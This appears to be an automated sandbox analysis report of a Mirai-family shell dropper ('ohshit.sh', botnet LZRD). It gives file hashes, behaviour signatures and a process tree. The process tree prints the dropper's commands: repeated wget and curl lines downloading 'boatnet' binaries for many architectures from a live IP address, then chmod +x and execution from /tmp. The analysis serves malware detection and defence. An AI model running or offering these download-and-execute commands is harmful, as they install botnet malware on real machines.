Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    26-12-2024 12:42

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    6aff3f3662291b471ab7ad4cbdd57c29

  • SHA1

    04c570fcebd808ce12793fc191ee5cd886bbcc73

  • SHA256

    51a77320da977deac7fb703c6333820bae779ad712f3216fe4d407500d889a8d

  • SHA512

    d08ebda17bc94d8c89fcbb16f42c4be409ec96222e0c49b5a69b044b2e725a63caf03d803a225b76c764d86bba42a5b303bff539a90092e432aa861a7d6f4cc4

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 30 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 30 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:1504
    • /usr/bin/wget
      wget http://85.237.211.124/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1505
    • /usr/bin/curl
      curl -O http://85.237.211.124/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1509
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:1510
      • /bin/chmod
        chmod +x boatnet.x86 config-err-QezUlM netplan_qoa392vr ohshit.sh snap-private-tmp ssh-XFSPus0dWfPx systemd-private-dc6a883fb225443bbffe00d790a45ac8-bolt.service-ewcsAx systemd-private-dc6a883fb225443bbffe00d790a45ac8-colord.service-opzQ5B systemd-private-dc6a883fb225443bbffe00d790a45ac8-ModemManager.service-qeifPW systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-resolved.service-mvNHja systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-timedated.service-Al8MAT WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1511
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1512
      • /usr/bin/wget
        wget http://85.237.211.124/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1516
      • /usr/bin/curl
        curl -O http://85.237.211.124/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1517
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 config-err-QezUlM netplan_qoa392vr ohshit.sh snap-private-tmp ssh-XFSPus0dWfPx systemd-private-dc6a883fb225443bbffe00d790a45ac8-bolt.service-ewcsAx systemd-private-dc6a883fb225443bbffe00d790a45ac8-colord.service-opzQ5B systemd-private-dc6a883fb225443bbffe00d790a45ac8-ModemManager.service-qeifPW systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-resolved.service-mvNHja systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-timedated.service-Al8MAT WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1519
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1520
      • /usr/bin/wget
        wget http://85.237.211.124/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1524
      • /usr/bin/curl
        curl -O http://85.237.211.124/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1525
      • /bin/chmod
        chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-QezUlM netplan_qoa392vr ohshit.sh snap-private-tmp ssh-XFSPus0dWfPx systemd-private-dc6a883fb225443bbffe00d790a45ac8-bolt.service-ewcsAx systemd-private-dc6a883fb225443bbffe00d790a45ac8-colord.service-opzQ5B systemd-private-dc6a883fb225443bbffe00d790a45ac8-ModemManager.service-qeifPW systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-resolved.service-mvNHja systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-timedated.service-Al8MAT WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1527
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1528
      • /usr/bin/wget
        wget http://85.237.211.124/hiddenbin/boatnet.i468
        2⤵
          PID:1532
        • /usr/bin/curl
          curl -O http://85.237.211.124/hiddenbin/boatnet.i468
          2⤵
          • Writes file to tmp directory
          PID:1533
        • /bin/chmod
          chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-QezUlM netplan_qoa392vr ohshit.sh snap-private-tmp ssh-XFSPus0dWfPx systemd-private-dc6a883fb225443bbffe00d790a45ac8-bolt.service-ewcsAx systemd-private-dc6a883fb225443bbffe00d790a45ac8-colord.service-opzQ5B systemd-private-dc6a883fb225443bbffe00d790a45ac8-ModemManager.service-qeifPW systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-resolved.service-mvNHja systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-timedated.service-Al8MAT WTF
          2⤵
          • File and Directory Permissions Modification
          PID:1535
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1536
        • /usr/bin/wget
          wget http://85.237.211.124/hiddenbin/boatnet.i686
          2⤵
            PID:1540
          • /usr/bin/curl
            curl -O http://85.237.211.124/hiddenbin/boatnet.i686
            2⤵
            • Writes file to tmp directory
            PID:1541
          • /bin/chmod
            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-QezUlM netplan_qoa392vr ohshit.sh snap-private-tmp ssh-XFSPus0dWfPx systemd-private-dc6a883fb225443bbffe00d790a45ac8-bolt.service-ewcsAx systemd-private-dc6a883fb225443bbffe00d790a45ac8-colord.service-opzQ5B systemd-private-dc6a883fb225443bbffe00d790a45ac8-ModemManager.service-qeifPW systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-resolved.service-mvNHja systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-timedated.service-Al8MAT WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1543
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1544
          • /usr/bin/wget
            wget http://85.237.211.124/hiddenbin/boatnet.x86_64
            2⤵
              PID:1548
            • /usr/bin/curl
              curl -O http://85.237.211.124/hiddenbin/boatnet.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1551
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-QezUlM netplan_qoa392vr ohshit.sh snap-private-tmp ssh-XFSPus0dWfPx systemd-private-dc6a883fb225443bbffe00d790a45ac8-bolt.service-0Mq3vr systemd-private-dc6a883fb225443bbffe00d790a45ac8-colord.service-opzQ5B systemd-private-dc6a883fb225443bbffe00d790a45ac8-ModemManager.service-qeifPW systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-resolved.service-mvNHja systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-timedated.service-Al8MAT WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1557
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1558
            • /usr/bin/wget
              wget http://85.237.211.124/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1562
            • /usr/bin/curl
              curl -O http://85.237.211.124/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1563
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-QezUlM netplan_qoa392vr ohshit.sh snap-private-tmp ssh-XFSPus0dWfPx systemd-private-dc6a883fb225443bbffe00d790a45ac8-bolt.service-0Mq3vr systemd-private-dc6a883fb225443bbffe00d790a45ac8-colord.service-opzQ5B systemd-private-dc6a883fb225443bbffe00d790a45ac8-ModemManager.service-qeifPW systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-resolved.service-mvNHja systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-timedated.service-Al8MAT WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1565
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1566
            • /usr/bin/wget
              wget http://85.237.211.124/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1570
            • /usr/bin/curl
              curl -O http://85.237.211.124/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1571
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-QezUlM netplan_qoa392vr ohshit.sh snap-private-tmp ssh-XFSPus0dWfPx systemd-private-dc6a883fb225443bbffe00d790a45ac8-bolt.service-0Mq3vr systemd-private-dc6a883fb225443bbffe00d790a45ac8-colord.service-opzQ5B systemd-private-dc6a883fb225443bbffe00d790a45ac8-ModemManager.service-qeifPW systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-resolved.service-mvNHja systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-timedated.service-Al8MAT WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1573
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1574
            • /usr/bin/wget
              wget http://85.237.211.124/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1578
            • /usr/bin/curl
              curl -O http://85.237.211.124/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1581
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-QezUlM netplan_qoa392vr ohshit.sh snap-private-tmp ssh-XFSPus0dWfPx systemd-private-dc6a883fb225443bbffe00d790a45ac8-bolt.service-eh6UwC systemd-private-dc6a883fb225443bbffe00d790a45ac8-colord.service-opzQ5B systemd-private-dc6a883fb225443bbffe00d790a45ac8-ModemManager.service-qeifPW systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-resolved.service-mvNHja systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-timedated.service-Al8MAT WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1587
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1588
            • /usr/bin/wget
              wget http://85.237.211.124/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1592
            • /usr/bin/curl
              curl -O http://85.237.211.124/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1593
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-QezUlM netplan_qoa392vr ohshit.sh snap-private-tmp ssh-XFSPus0dWfPx systemd-private-dc6a883fb225443bbffe00d790a45ac8-bolt.service-eh6UwC systemd-private-dc6a883fb225443bbffe00d790a45ac8-colord.service-opzQ5B systemd-private-dc6a883fb225443bbffe00d790a45ac8-ModemManager.service-qeifPW systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-resolved.service-mvNHja systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-timedated.service-Al8MAT WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1595
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1596
            • /usr/bin/wget
              wget http://85.237.211.124/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1600
            • /usr/bin/curl
              curl -O http://85.237.211.124/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1607
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-QezUlM netplan_qoa392vr ohshit.sh snap-private-tmp ssh-XFSPus0dWfPx systemd-private-dc6a883fb225443bbffe00d790a45ac8-bolt.service-6soNSE systemd-private-dc6a883fb225443bbffe00d790a45ac8-colord.service-opzQ5B systemd-private-dc6a883fb225443bbffe00d790a45ac8-ModemManager.service-qeifPW systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-resolved.service-mvNHja systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-timedated.service-Al8MAT WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1615
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1616
            • /usr/bin/wget
              wget http://85.237.211.124/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1620
            • /usr/bin/curl
              curl -O http://85.237.211.124/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1627
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-QezUlM netplan_qoa392vr ohshit.sh snap-private-tmp ssh-XFSPus0dWfPx systemd-private-dc6a883fb225443bbffe00d790a45ac8-colord.service-opzQ5B systemd-private-dc6a883fb225443bbffe00d790a45ac8-ModemManager.service-qeifPW systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-resolved.service-mvNHja systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-timedated.service-Al8MAT WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1631
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1632
            • /usr/bin/wget
              wget http://85.237.211.124/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1636
            • /usr/bin/curl
              curl -O http://85.237.211.124/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1637
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-QezUlM netplan_qoa392vr ohshit.sh snap-private-tmp ssh-XFSPus0dWfPx systemd-private-dc6a883fb225443bbffe00d790a45ac8-colord.service-opzQ5B systemd-private-dc6a883fb225443bbffe00d790a45ac8-ModemManager.service-qeifPW systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-resolved.service-mvNHja systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-timedated.service-Al8MAT WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1639
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1640
            • /usr/bin/wget
              wget http://85.237.211.124/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1644
            • /usr/bin/curl
              curl -O http://85.237.211.124/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1645
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-QezUlM netplan_qoa392vr ohshit.sh snap-private-tmp ssh-XFSPus0dWfPx systemd-private-dc6a883fb225443bbffe00d790a45ac8-colord.service-opzQ5B systemd-private-dc6a883fb225443bbffe00d790a45ac8-ModemManager.service-qeifPW systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-resolved.service-mvNHja systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-timedated.service-Al8MAT WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1647
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1648
            • /usr/bin/wget
              wget http://85.237.211.124/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1652
            • /usr/bin/curl
              curl -O http://85.237.211.124/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1653
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-QezUlM netplan_qoa392vr ohshit.sh snap-private-tmp ssh-XFSPus0dWfPx systemd-private-dc6a883fb225443bbffe00d790a45ac8-colord.service-opzQ5B systemd-private-dc6a883fb225443bbffe00d790a45ac8-ModemManager.service-qeifPW systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-resolved.service-mvNHja systemd-private-dc6a883fb225443bbffe00d790a45ac8-systemd-timedated.service-Al8MAT WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1655
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1656

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/boatnet.x86

            Filesize

            27KB

            MD5

            9e6da56f2e4b29e5d019938932a7d02d

            SHA1

            2039359cee130eb95673ba1d21a91965a87dc564

            SHA256

            b528a15b83072c5d848eba0700eedf37dbfb35938a29e41c4529bee4e325203a

            SHA512

            2084c8b7057d9fb9dc6587237c3e1a3172ae3cf51774097d587a2e2c6d0168b82d834b0c80d4f8672953df408e3b97dfc391f9aeb2ae263a2f12cbc12e34e382